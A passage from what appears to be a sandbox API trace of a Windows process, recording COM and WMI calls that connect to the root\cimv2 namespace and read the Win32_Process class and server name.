riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0155.052] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0155.052] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0155.052] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.054] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bb835a0) returned 0x0 [0155.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb835a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0155.054] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb835a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1aa0b550) returned 0x0 [0155.054] WbemDefPath:IUnknown:Release (This=0x1bb835a0) returned 0x0 [0155.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1aa0b550) returned 0x0 [0155.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0155.055] WbemDefPath:IUnknown:AddRef (This=0x1aa0b550) returned 0x3 [0155.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0155.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0155.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bb835e0) returned 0x0 [0155.055] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb835e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.055] WbemDefPath:IUnknown:Release (This=0x1bb835e0) returned 0x3 [0155.055] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0155.055] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0155.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0155.055] WbemDefPath:IUnknown:Release (This=0x1aa0b550) returned 0x2 [0155.055] WbemDefPath:IUnknown:Release (This=0x1aa0b550) returned 0x1 [0155.055] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0155.055] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0155.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b550, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1aa0b550) returned 0x0 [0155.055] WbemDefPath:IUnknown:AddRef (This=0x1aa0b550) returned 0x3 [0155.055] WbemDefPath:IUnknown:Release (This=0x1aa0b550) returned 0x2 [0155.055] WbemDefPath:IWbemPath:SetText (This=0x1aa0b550, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0155.055] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b550, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0155.055] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0155.055] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.055] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0155.055] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0155.055] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0155.056] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.056] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bb83540) returned 0x0 [0155.056] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83540, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0155.056] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bb83540, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bb83460) returned 0x0 [0155.057] WbemLocator:IUnknown:Release (This=0x1bb83540) returned 0x0 [0155.057] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83460, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bb83460) returned 0x0 [0155.057] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83460, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0155.057] WbemLocator:IUnknown:AddRef (This=0x1bb83460) returned 0x3 [0155.057] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83460, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0155.057] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83460, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0155.057] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83460, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0155.057] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0155.057] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0155.057] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83460, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0155.057] WbemLocator:IUnknown:Release (This=0x1bb83460) returned 0x2 [0155.057] WbemLocator:IUnknown:Release (This=0x1bb83460) returned 0x1 [0155.057] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0155.057] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0155.057] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83460, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bb83460) returned 0x0 [0155.057] WbemLocator:IUnknown:AddRef (This=0x1bb83460) returned 0x3 [0155.057] WbemLocator:IUnknown:Release (This=0x1bb83460) returned 0x2 [0155.058] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b550, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0155.058] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0155.058] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.058] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bb83480) returned 0x0 [0155.058] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bb83480, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bbaa570) returned 0x0 [0155.153] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa570, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbdcc80) returned 0x0 [0155.153] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdcc80, pProxy=0x1bbaa570, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0155.153] WbemLocator:IUnknown:Release (This=0x1bbdcc80) returned 0x1 [0155.153] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa570, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbdccc0) returned 0x0 [0155.153] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa570, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbdcc80) returned 0x0 [0155.153] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdcc80, pProxy=0x1bbaa570, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0155.153] WbemLocator:IUnknown:Release (This=0x1bbdcc80) returned 0x2 [0155.153] WbemLocator:IUnknown:Release (This=0x1bbdccc0) returned 0x1 [0155.153] CoTaskMemFree (pv=0x1bba62d0) [0155.154] WbemLocator:IUnknown:AddRef (This=0x1bbaa570) returned 0x2 [0155.154] WbemLocator:IUnknown:Release (This=0x1bb83480) returned 0x0 [0155.155] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0155.155] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0155.155] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa570, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbdcc90) returned 0x0 [0155.156] WbemLocator:IRpcOptions:Query (in: This=0x1bbdcc90, pPrx=0x1bb833e0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0155.156] WbemLocator:IUnknown:Release (This=0x1bbdcc90) returned 0x2 [0155.156] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0155.156] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0155.156] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa570, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bbaa570) returned 0x0 [0155.156] WbemLocator:IUnknown:Release (This=0x1bbaa570) returned 0x2 [0155.157] SysStringLen (param_1=0x0) returned 0x0 [0155.157] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b550, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0155.157] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0155.157] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.157] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b850, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0155.157] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b850, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0155.158] IWbemServices:GetObject (in: This=0x1bbaa570, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bcf6460, ppCallResult=0x0) returned 0x0 [0155.163] IWbemClassObject:Get (in: This=0x1bcf6460, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0155.163] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0155.164] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0155.164] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0155.164] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0155.164] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0155.164] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.168] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bb83480) returned 0x0 [0155.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb83480, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0155.198] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb83480, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1aa0b3d0) returned 0x0 [0155.198] WbemDefPath:IUnknown:Release (This=0x1bb83480) returned 0x0 [0155.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1aa0b3d0) returned 0x0 [0155.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0155.198] WbemDefPath:IUnknown:AddRef (This=0x1aa0b3d0) returned 0x3 [0155.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0155.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0155.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bb834a0) returned 0x0 [0155.199] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb834a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.199] WbemDefPath:IUnknown:Release (This=0x1bb834a0) returned 0x3 [0155.199] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0155.199] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0155.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0155.199] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x2 [0155.199] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x1 [0155.199] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0155.199] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0155.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa0b3d0) returned 0x0 [0155.199] WbemDefPath:IUnknown:AddRef (This=0x1aa0b3d0) returned 0x3 [0155.199] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x2 [0155.199] WbemDefPath:IWbemPath:SetText (This=0x1aa0b3d0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0155.200] IWbemClassObject:Get (in: This=0x1bcf6460, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0155.200] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0155.200] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0155.200] IWbemClassObject:Get (in: This=0x1bcf6460, 